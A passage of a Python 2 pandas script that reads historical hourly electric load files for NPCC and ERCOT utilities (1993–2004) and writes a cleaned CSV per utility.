pd.read_csv('%s/npcc/1997/CHGE97' % (fulldir), sep ='\s', skipinitialspace=True, header=None, skipfooter=1).iloc[:, 4:].values.ravel(), 1998 : pd.read_excel('%s/npcc/1998/CHGE98' % (fulldir), skipfooter=1, header=None).iloc[:, 2:].values.ravel(), }, 3266 : { 1993 : pd.read_fwf('%s/npcc/1993/CMP93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(), 1994 : pd.read_fwf('%s/npcc/1994/CMP94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(), 1995 : pd.read_fwf('%s/npcc/1995/CMP95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(), 1996 : pd.read_fwf('%s/npcc/1996/CMP96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(), 1997 : pd.read_fwf('%s/npcc/1997/CMP97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(), 1999 : pd.read_fwf('%s/npcc/1999/CMP99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(), 2002 : pd.read_fwf('%s/npcc/2002/CMP02' % (fulldir), header=None).iloc[:, 1:].values.ravel(), 2003 : pd.read_fwf('%s/npcc/2003/CMP03' % (fulldir), header=None).iloc[:, 1:].values.ravel() }, 4226 : { 1993 : pd.read_csv('%s/npcc/1993/COED93' % (fulldir), skipfooter=1, skiprows=11, header=None, skipinitialspace=True, sep=' ')[2].values, 1994 : pd.read_fwf('%s/npcc/1994/COED94' % (fulldir), skipfooter=1, header=None)[1].values, 1995 : pd.read_csv('%s/npcc/1995/COED95' % (fulldir), skiprows=3, header=None), 1996 : pd.read_excel('%s/npcc/1996/COED96' % (fulldir)).iloc[:, -1].values.ravel(), 1997 : pd.read_excel('%s/npcc/1997/COED97' % (fulldir), skiprows=1).iloc[:, -1].values.ravel(), 1998 : pd.read_excel('%s/npcc/1998/COED98' % (fulldir), skiprows=1).iloc[:, -1].values.ravel(), 1999 : pd.read_csv('%s/npcc/1999/COED99' % (fulldir), skiprows=1, sep='\t').iloc[:, -1].str.replace(',', '').astype(int).values.ravel(), 2000 : pd.read_csv('%s/npcc/2000/COED00' % (fulldir), sep='\t')[' Load '].dropna().str.replace(',', '').astype(int).values.ravel(), 2001 : pd.read_csv('%s/npcc/2001/COED01' % (fulldir), sep='\t', skipfooter=1)['Load'].dropna().str.replace(',', '').astype(int).values.ravel(), 2002 : pd.read_csv('%s/npcc/2002/COED02' % (fulldir), sep='\t', skipfooter=1, skiprows=1)['Load'].dropna().str.replace(',', '').astype(int).values.ravel(), 2003 : pd.read_csv('%s/npcc/2003/COED03' % (fulldir), sep='\t')['Load'].dropna().astype(int).values.ravel(), 2004 : pd.read_csv('%s/npcc/2004/COED04' % (fulldir), header=None).iloc[:, -1].str.replace('[A-Z,]', '').str.replace('\s', '0').astype(int).values.ravel() }, 4089 : { 1993 : pd.read_fwf('%s/npcc/1993/COEL93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(), 1995 : pd.read_fwf('%s/npcc/1995/COEL95' % (fulldir), header=None).iloc[:, 1:].values.ravel(), 1996 : pd.read_csv('%s/npcc/1996/COEL96' % (fulldir), sep=' ', skipinitialspace=True, header=None)[3].values, 1997 : pd.read_csv('%s/npcc/1997/COEL97' % (fulldir), sep=' ', skipinitialspace=True, header=None)[4].values, 1998 : pd.read_csv('%s/npcc/1998/COEL98' % (fulldir), sep=' ', skipinitialspace=True, header=None)[4].values, 1999 : pd.read_csv('%s/npcc/1999/COEL99' % (fulldir), sep=' ', skipinitialspace=True, header=None, skiprows=3)[4].values, 2000 : pd.read_csv('%s/npcc/2000/COEL00' % (fulldir), sep=' ', skipinitialspace=True, header=None, skiprows=3)[4].values, 2001 : pd.read_csv('%s/npcc/2001/COEL01' % (fulldir), sep=' ', skipinitialspace=True, header=None, skiprows=3)[4].values, 2002 : pd.read_csv('%s/npcc/2002/COEL02' % (fulldir), sep=' ', skipinitialspace=True, header=None, skiprows=3)[4].values, 2003 : pd.read_csv('%s/npcc/2003/COEL03' % (fulldir), sep=' ', skipinitialspace=True, header=None, skiprows=3)[4].values, 2004 : pd.read_csv('%s/npcc/2004/COEL04' % (fulldir), sep=' ', skipinitialspace=True, header=None, skiprows=3)[4].values }, 3292 : { 1995 : pd.read_fwf('%s/npcc/1995/CVPS95' % (fulldir), header=None).iloc[:, 1:].values.ravel(), 1996 : pd.read_csv('%s/npcc/1996/CVPS96' % (fulldir), header=None, skipfooter=1)[1].values, 1997 : pd.read_csv('%s/npcc/1997/CVPS97' % (fulldir), header=None)[2].values, 1998 : pd.read_csv('%s/npcc/1998/CVPS98' % (fulldir), header=None, skipfooter=1)[4].values, 1999 : pd.read_csv('%s/npcc/1999/CVPS99' % (fulldir))['Load'].values }, 5618 : { 1993 : pd.read_fwf('%s/npcc/1993/EUA93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(), 1994 : pd.read_fwf('%s/npcc/1994/EUA94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(), 1995 : pd.read_fwf('%s/npcc/1995/EUA95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(), 1996 : pd.read_fwf('%s/npcc/1996/EUA96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(), 1997 : pd.read_fwf('%s/npcc/1997/EUA97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(), 1999 : pd.read_fwf('%s/npcc/1999/EUA99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel() }, 7601 : { 1993 : pd.read_csv('%s/npcc/1993/GMP93' % (fulldir), sep=' ', skipinitialspace=True, header=None, skiprows=4)[0].replace('MWH', '0').astype(float).values.ravel(), 1994 : pd.read_fwf('%s/npcc/1994/GMP94' % (fulldir), header=None)[0].values, 1995 : pd.read_csv('%s/npcc/1995/GMP95' % (fulldir), sep=' ', skipinitialspace=True, header=None)[0].values, 1996 : pd.read_csv('%s/npcc/1996/GMP96' % (fulldir), sep='\t', skipinitialspace=True, header=None)[0].values, 1997 : pd.read_csv('%s/npcc/1997/GMP97' % (fulldir), sep='\t', skipinitialspace=True, header=None)[0].values, 1998 : pd.read_csv('%s/npcc/1998/GMP98' % (fulldir), sep='\t', skipinitialspace=True, header=None)[0].astype(str).str[:3].astype(float).values, 1999 : pd.read_csv('%s/npcc/1999/GMP99' % (fulldir), sep=' ', skipinitialspace=True, header=None, skipfooter=1).iloc[:8760, 0].values, 2002 : pd.read_excel('%s/npcc/2002/GMP02' % (fulldir), skiprows=6, skipfooter=1).iloc[:, 0].values, 2003 : pd.read_excel('%s/npcc/2003/GMP03' % (fulldir), skiprows=6, skipfooter=1).iloc[:, 0].values, 2004 : pd.read_csv('%s/npcc/2004/GMP04' % (fulldir), skiprows=13, sep='\s').iloc[:, 0].values }, 13501 : { 2002 : pd.read_csv('%s/npcc/2002/ISONY02' % (fulldir), sep='\t')['mw'].values, 2003 : pd.read_excel('%s/npcc/2003/ISONY03' % (fulldir))['Load'].values, 2004 : pd.read_excel('%s/npcc/2004/ISONY04' % (fulldir)).loc[:, 'HR1':].values.ravel() }, 11171 : { 1994 : pd.read_fwf('%s/npcc/1994/LILC94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(), 1995 : pd.read_fwf('%s/npcc/1995/LILC95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1997 : pd.read_fwf('%s/npcc/1997/LILC97' % (fulldir), skiprows=4, widths=[8,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), }, 11806 : { 1998 : pd.read_fwf('%s/npcc/1998/MMWE98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skiprows=1).iloc[:, 1:].values.ravel(), 1999 : pd.read_fwf('%s/npcc/1999/MMWE99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skiprows=1).iloc[:, 1:].values.ravel(), 2000 : pd.read_fwf('%s/npcc/2000/MMWE00' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skiprows=1).iloc[:, 1:].values.ravel(), 2001 : pd.read_fwf('%s/npcc/2001/MMWE01' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skiprows=1).iloc[:, 1:].values.ravel(), 2002 : pd.read_fwf('%s/npcc/2002/MMWE02' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skiprows=1).iloc[:, 1:].values.ravel(), 2003 : pd.read_fwf('%s/npcc/2003/MMWE03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skiprows=1).iloc[:, 1:].values.ravel(), 2004 : pd.read_fwf('%s/npcc/2004/MMWE04' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skiprows=1).iloc[:, 1:].values.ravel() }, 13433 : { 1993 : pd.read_fwf('%s/npcc/1993/NEES93' % (fulldir), widths=(8,7), header=None, skipfooter=1)[1].values, 1994 : pd.read_csv('%s/npcc/1994/NEES94' % (fulldir), header=None, skipfooter=1, sep=' ', skipinitialspace=True)[3].values }, 13435 : { 1993 : pd.read_fwf('%s/npcc/1993/NEPOOL93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skiprows=2).iloc[:, 1:].values.ravel(), 1994 : pd.read_fwf('%s/npcc/1994/NEPOOL94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1995 : pd.read_fwf('%s/npcc/1995/NEPOOL95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skiprows=3).iloc[:, 1:].values.ravel(), 1996 : pd.read_csv('%s/npcc/1996/NEPOOL96' % (fulldir), sep=' ', skipinitialspace=True, header=None)[1].values, 1997 : pd.read_fwf('%s/npcc/1997/NEPOOL97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1998 : pd.read_excel('%s/npcc/1998/NEPOOL98' % (fulldir), header=None).iloc[:, 5:17].values.ravel(), 1999 : pd.read_csv('%s/npcc/1999/NEPOOL99' % (fulldir), engine='python', skiprows=1).iloc[:, 0].values, 2000 : pd.read_fwf('%s/npcc/2000/NEPOOL00' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 2001 : pd.read_fwf('%s/npcc/2001/NEPOOL01' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 2002 : pd.read_csv('%s/npcc/2002/NEPOOL02' % (fulldir), sep='\t').iloc[:, 3:].values.ravel(), 2003 : pd.read_fwf('%s/npcc/2003/NEPOOL03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 2004 : pd.read_csv('%s/npcc/2004/NEPOOL04' % (fulldir), sep='\t', header=None, skiprows=10).iloc[:, 5:].values.ravel() }, 13573 : { 1993 : pd.read_csv('%s/npcc/1993/NMPC93' % (fulldir), skiprows=11, header=None, sep=' ', skipinitialspace=True).iloc[:, 3:27].values.ravel(), 1995 : pd.read_fwf('%s/npcc/1995/NMPC95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1996 : pd.read_fwf('%s/npcc/1996/NMPC96' % (fulldir), header=None).iloc[:, 2:14].astype(int).values.ravel(), 1998 : pd.read_fwf('%s/npcc/1998/NMPC98' % (fulldir), header=None).iloc[:, 2:].astype(int).values.ravel(), 1999 : pd.read_fwf('%s/npcc/1999/NMPC99' % (fulldir), header=None).iloc[:, 2:14].astype(int).values.ravel(), 2000 : pd.read_excel('%s/npcc/2000/NMPC00' % (fulldir), sheetname=1, skiprows=10, skipfooter=3).iloc[:, 1:].values.ravel(), 2002 : pd.read_excel('%s/npcc/2002/NMPC02' % (fulldir), sheetname=1, skiprows=2, header=None).iloc[:, 2:].values.ravel(), 2003 : pd.concat([pd.read_excel('%s/npcc/2003/NMPC03' % (fulldir), sheetname=i, skiprows=1, header=None) for i in range(1,13)]).iloc[:, 2:].astype(str).apply(lambda x: x.str[:4]).astype(float).values.ravel() }, 13556 : { 1993 : pd.read_fwf('%s/npcc/1993/NU93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(), 1994 : pd.read_excel('%s/npcc/1994/NU94' % (fulldir), header=None, skipfooter=1).iloc[:, 3:].values.ravel(), 1995 : pd.read_excel('%s/npcc/1995/NU95' % (fulldir), header=None, skipfooter=5).dropna(how='any').iloc[:, 3:].values.ravel(), 1996 : pd.read_excel('%s/npcc/1996/NU96' % (fulldir), header=None, skipfooter=1).iloc[:, 5:].values.ravel(), 1997 : pd.read_excel('%s/npcc/1997/NU97' % (fulldir), header=None, skipfooter=4).iloc[:, 5:].values.ravel(), 1998 : pd.read_excel('%s/npcc/1998/NU98' % (fulldir), header=None).iloc[:, 5:].values.ravel(), 1999 : pd.read_excel('%s/npcc/1999/NU99' % (fulldir), header=None).iloc[:, 5:].values.ravel(), 2000 : pd.read_csv('%s/npcc/2000/NU00' % (fulldir), sep='\t', header=None).iloc[:, 5:].values.ravel(), 2001 : pd.read_excel('%s/npcc/2001/NU01' % (fulldir)).iloc[:, -1].values, 2002 : pd.read_excel('%s/npcc/2002/NU02' % (fulldir)).iloc[:, -1].values, 2003 : pd.read_excel('%s/npcc/2003/NU03' % (fulldir), skipfooter=1).iloc[:, -1].values }, 15296 : { 1993 : pd.read_csv('%s/npcc/1993/NYPA93' % (fulldir), engine='python', header=None).values.ravel(), 1994 : pd.read_csv('%s/npcc/1994/NYPA94' % (fulldir), engine='python', header=None).values.ravel(), 1995 : pd.read_csv('%s/npcc/1995/NYPA95' % (fulldir), engine='python', header=None).values.ravel(), 1996 : pd.read_csv('%s/npcc/1996/NYPA96' % (fulldir), engine='python', header=None).values.ravel(), 1997 : pd.read_csv('%s/npcc/1997/NYPA97' % (fulldir), engine='python', header=None).values.ravel(), 1998 : pd.read_csv('%s/npcc/1998/NYPA98' % (fulldir), engine='python', header=None).values.ravel(), 1999 : pd.read_excel('%s/npcc/1999/NYPA99' % (fulldir), header=None).values.ravel(), 2000 : pd.read_csv('%s/npcc/2000/NYPA00' % (fulldir), engine='python', header=None).values.ravel(), 2001 : pd.read_csv('%s/npcc/2001/NYPA01' % (fulldir), engine='python', header=None).values.ravel(), 2002 : pd.read_csv('%s/npcc/2002/NYPA02' % (fulldir), engine='python', header=None).values.ravel(), 2003 : pd.read_csv('%s/npcc/2003/NYPA03' % (fulldir), engine='python', header=None).values.ravel() }, 13501 : { 1993 : pd.read_fwf('%s/npcc/1993/NYPP93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel() }, 13511 : { 1996 : pd.read_fwf('%s/npcc/1996/NYS96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1997 : pd.read_fwf('%s/npcc/1997/NYS97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1999 : pd.read_excel('%s/npcc/1999/NYS99' % (fulldir)).iloc[:, 1:].values.ravel(), 2000 : pd.read_csv('%s/npcc/2000/NYS00' % (fulldir), sep='\t').iloc[:, -1].values, 2001 : pd.read_csv('%s/npcc/2001/NYS01' % (fulldir), sep='\t', skiprows=3).dropna(how='all').iloc[:, -1].values, 2002 : pd.read_csv('%s/npcc/2002/NYS02' % (fulldir), sep=' ', skipinitialspace=True, skiprows=3).iloc[:, 2].values, 2003 : pd.read_csv('%s/npcc/2003/NYS03' % (fulldir), sep=' ', skipinitialspace=True, skiprows=5, header=None).iloc[:, -1].values, 2004 : pd.read_csv('%s/npcc/2004/NYS04' % (fulldir), sep=' ', skipinitialspace=True, skiprows=5, header=None).dropna(how='all').iloc[:, -1].values }, 14154 : { 1993 : pd.read_csv('%s/npcc/1993/OR93' % (fulldir), skiprows=5, header=None).iloc[:, 2:26].values.ravel(), 1995 : (pd.read_csv('%s/npcc/1995/OR95' % (fulldir), header=None).iloc[:, 1:25].values.ravel()/10), 1996 : (pd.read_csv('%s/npcc/1996/OR96' % (fulldir), header=None).iloc[:, 1:25].values.ravel()/10), 1997 : (pd.read_csv('%s/npcc/1997/OR97' % (fulldir), header=None).iloc[:, 1:25].values.ravel()/10), 1998 : pd.read_fwf('%s/npcc/1998/OR98' % (fulldir), skiprows=1, header=None).dropna(axis=1, how='all').iloc[:, 1:].values.ravel(), 1999 : pd.read_csv('%s/npcc/1999/OR99' % (fulldir), sep='\t', skiprows=1, header=None).iloc[:, 1:].values.ravel(), 2000 : pd.read_csv('%s/npcc/2000/OR00' % (fulldir), sep='\t').iloc[:, -1].values.astype(int).ravel(), 2002 : pd.read_csv('%s/npcc/2002/OR02' % (fulldir), sep='\t', skiprows=2).iloc[:, -1].dropna().values.astype(int).ravel(), 2003 : pd.read_csv('%s/npcc/2003/OR03' % (fulldir), sep='\t').iloc[:, -1].dropna().values.astype(int).ravel(), 2004 : pd.read_csv('%s/npcc/2004/OR04' % (fulldir), header=None).iloc[:, -1].values.astype(int).ravel() }, 16183 : { 1994 : pd.read_fwf('%s/npcc/1994/RGE94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1995 : pd.read_fwf('%s/npcc/1995/RGE95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1996 : pd.read_fwf('%s/npcc/1996/RGE96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 2002 : pd.read_csv('%s/npcc/2002/RGE02' % (fulldir), skiprows=4, sep=' ', skipinitialspace=True).dropna(axis=1, how='all').iloc[:, -1].values, 2003 : pd.read_csv('%s/npcc/2003/RGE03' % (fulldir), skiprows=4, sep=' ', skipinitialspace=True).dropna(axis=1, how='all').iloc[:, -1].values, 2004 : pd.read_csv('%s/npcc/2004/RGE04' % (fulldir), skiprows=4, sep=' ', skipinitialspace=True).dropna(axis=1, how='all').iloc[:, -1].values }, 19497 : { 1993 : pd.read_fwf('%s/npcc/1993/UI93' % (fulldir), header=None, skipfooter=1).iloc[:, 1:].values.ravel()/10, 1994 : pd.read_fwf('%s/npcc/1994/UI94' % (fulldir), header=None, skipfooter=1).iloc[:, 1:].values.ravel()/10, 1995 : pd.read_fwf('%s/npcc/1995/UI95' % (fulldir), header=None, skipfooter=1).iloc[:, 1:].values.ravel()/10, 1996 : pd.read_fwf('%s/npcc/1996/UI96' % (fulldir), header=None, skipfooter=1).iloc[:, 1:].values.ravel()/10, 1997 : pd.read_fwf('%s/npcc/1997/UI97' % (fulldir), header=None, skipfooter=1).iloc[:, 1:].values.ravel()/10, 1998 : pd.read_excel('%s/npcc/1998/UI98' % (fulldir))['MW'].values, 1999 : pd.read_excel('%s/npcc/1999/UI99' % (fulldir)).loc[:, 'HR1':'HR24'].values.ravel(), 2001 : pd.read_excel('%s/npcc/2001/UI01' % (fulldir), sheetname=0).ix[:-2, 'HR1':'HR24'].values.ravel(), 2002 : pd.read_excel('%s/npcc/2002/UI02' % (fulldir), sheetname=0).ix[:-2, 'HR1':'HR24'].values.ravel(), 2003 : pd.read_excel('%s/npcc/2003/UI03' % (fulldir), sheetname=0, skipfooter=2).ix[:, 'HR1':'HR24'].values.ravel(), 2004 : pd.read_excel('%s/npcc/2004/UI04' % (fulldir), sheetname=0, skipfooter=1).ix[:, 'HR1':'HR24'].values.ravel() } } npcc[4226][1995] = pd.concat([npcc[4226][1995][2].dropna(), npcc[4226][1995][6]]).values.ravel() npcc[3249][1994][npcc[3249][1994] > 5000] = 0 npcc[3249][1996][npcc[3249][1996] > 5000] = 0 npcc[15296][2000][npcc[15296][2000] > 5000] = 0 npcc[15296][2001][npcc[15296][2001] > 5000] = 0 npcc[4089][1998] = np.repeat(np.nan, len(npcc[4089][1998])) npcc[13511][1996][npcc[13511][1996] < 500] = 0 npcc[13511][1997][npcc[13511][1997] < 500] = 0 npcc[13511][1999][npcc[13511][1999] < 500] = 0 npcc[13511][2000][npcc[13511][2000] < 500] = 0 npcc[14154][2002][npcc[14154][2002] > 2000] = 0 if not os.path.exists('./npcc'): os.mkdir('npcc') for k in npcc.keys(): print k s = pd.DataFrame(pd.concat([pd.Series(npcc[k][i], index=pd.date_range(start=datetime.date(i, 1, 1), freq='h', periods=len(npcc[k][i]))) for i in npcc[k].keys()]).sort_index(), columns=['load']) s['load'] = s['load'].replace('.', '0').astype(float).replace(0, np.nan) s.to_csv('./npcc/%s.csv' % k) ###### ERCOT # AUST: 1015 # CPL: 3278 # HLP: 8901 # LCRA: 11269 # NTEC: 13670 # PUB: 2409 # SRGT: 40233 # STEC: 17583 # TUEC: 44372 # TMPP: 18715 # TXLA: 18679 # WTU: 20404 ercot = { 1015 : { 1993 : pd.read_fwf('%s/ercot/1993/AUST93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1994 : pd.read_fwf('%s/ercot/1994/AUST94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1995 : pd.read_fwf('%s/ercot/1995/AUST95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1996 : pd.read_fwf('%s/ercot/1996/AUST96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1997 : pd.read_fwf('%s/ercot/1997/AUST97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1998 : (pd.read_excel('%s/ercot/1998/FERC714.xls' % (fulldir), skiprows=3)['AENX'].loc[2:].astype(float)/1000).values, 1999 : (pd.read_excel('%s/ercot/1999/ERCOT99HRLD060800.xls' % (fulldir), skiprows=14)['AENX'].astype(float)/1000).values, 2000 : (pd.read_csv('%s/ercot/2000/ERCOT00HRLD.txt' % (fulldir), skiprows=18, header=None, skipinitialspace=True, sep='\t')[3].str.replace(',', '').astype(float)/1000).values }, 3278 : { 1993 : pd.read_fwf('%s/ercot/1993/CPL93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(), 1994 : pd.read_fwf('%s/ercot/1994/CPL94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1996 : pd.read_fwf('%s/ercot/1996/CPL96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1997 : pd.read_fwf('%s/ercot/1997/CPL97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1998 : (pd.read_excel('%s/ercot/1998/FERC714.xls' % (fulldir), skiprows=3)['CPLC'].loc[2:].astype(int)/1000).values }, 8901 : { 1993 : pd.read_fwf('%s/ercot/1993/HLP93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(), 1994 : pd.read_fwf('%s/ercot/1994/HLP94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1995 : pd.read_fwf('%s/ercot/1995/HLP95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(), 1996 : pd.read_fwf('%s/ercot/1996/HLP96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1997 : pd.read_fwf('%s/ercot/1997/HLP97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1998 : (pd.read_excel('%s/ercot/1998/FERC714.xls' % (fulldir), skiprows=3)['HLPC'].loc[2:].astype(int)/1000).values }, 11269: { 1993 : pd.read_fwf('%s/ercot/1993/LCRA93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(), 1994 : pd.read_csv('%s/ercot/1994/LCRA94' % (fulldir), skiprows=4).iloc[:, -1].values, 1995 : pd.read_fwf('%s/ercot/1995/LCRA95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1996 : pd.read_fwf('%s/ercot/1996/LCRA96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1997 : pd.read_fwf('%s/ercot/1997/LCR97' % (fulldir), header=None).iloc[:, 1:].values.ravel(), 1998 : (pd.read_excel('%s/ercot/1998/FERC714.xls' % (fulldir), skiprows=3)['LCRA'].loc[2:].astype(int)/1000).values, 1999 : (pd.read_excel('%s/ercot/1999/ERCOT99HRLD060800.xls' % (fulldir), skiprows=14)['LCRA'].astype(float)/1000).values, 2000 : (pd.read_csv('%s/ercot/2000/ERCOT00HRLD.txt' % (fulldir), skiprows=18, header=None, skipinitialspace=True, sep='\t')[6].str.replace(',', '').astype(float)/1000).values }, 13670 : { 1993 : pd.read_csv('%s/ercot/1993/NTEC93' % (fulldir), sep=' ', skipinitialspace=True, header=None)[1].values, 1994 : pd.read_fwf('%s/ercot/1994/NTEC94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1995 : pd.read_fwf('%s/ercot/1995/NTEC95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1996 : pd.read_fwf('%s/ercot/1996/NTEC96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1997 : pd.read_fwf('%s/ercot/1997/NTEC97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 2001 : pd.read_fwf('%s/ercot/2001/NTEC01' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel() }, 2409 : { 1993 : pd.read_fwf('%s/ercot/1993/PUB93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(), 1994 : pd.read_fwf('%s/ercot/1994/PUB94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1995 : pd.read_fwf('%s/ercot/1995/PUB95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1996 : pd.read_fwf('%s/ercot/1996/PUB96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1997 : pd.read_fwf('%s/ercot/1997/PUB97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1998 : (pd.read_excel('%s/ercot/1998/FERC714.xls' % (fulldir), skiprows=3)['PUBX'].loc[2:].astype(int)/1000).values, 1999 : (pd.read_excel('%s/ercot/1999/ERCOT99HRLD060800.xls' % (fulldir), skiprows=14)['PUBX'].astype(float)/1000).values, 2000 : (pd.read_csv('%s/ercot/2000/ERCOT00HRLD.txt' % (fulldir), skiprows=18, header=None, skipinitialspace=True, sep='\t')[7].str.replace(',', '').astype(float)/1000).values }, 40233 : { 1993 : pd.read_csv('%s/ercot/1993/SRGT93' % (fulldir), sep=' ', skipinitialspace=True, header=None).iloc[:, -1].values, 1994 : pd.read_fwf('%s/ercot/1994/SRGT94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1995 : pd.read_fwf('%s/ercot/1995/SRGT95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1996 : pd.read_fwf('%s/ercot/1996/SRGT96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1997 : 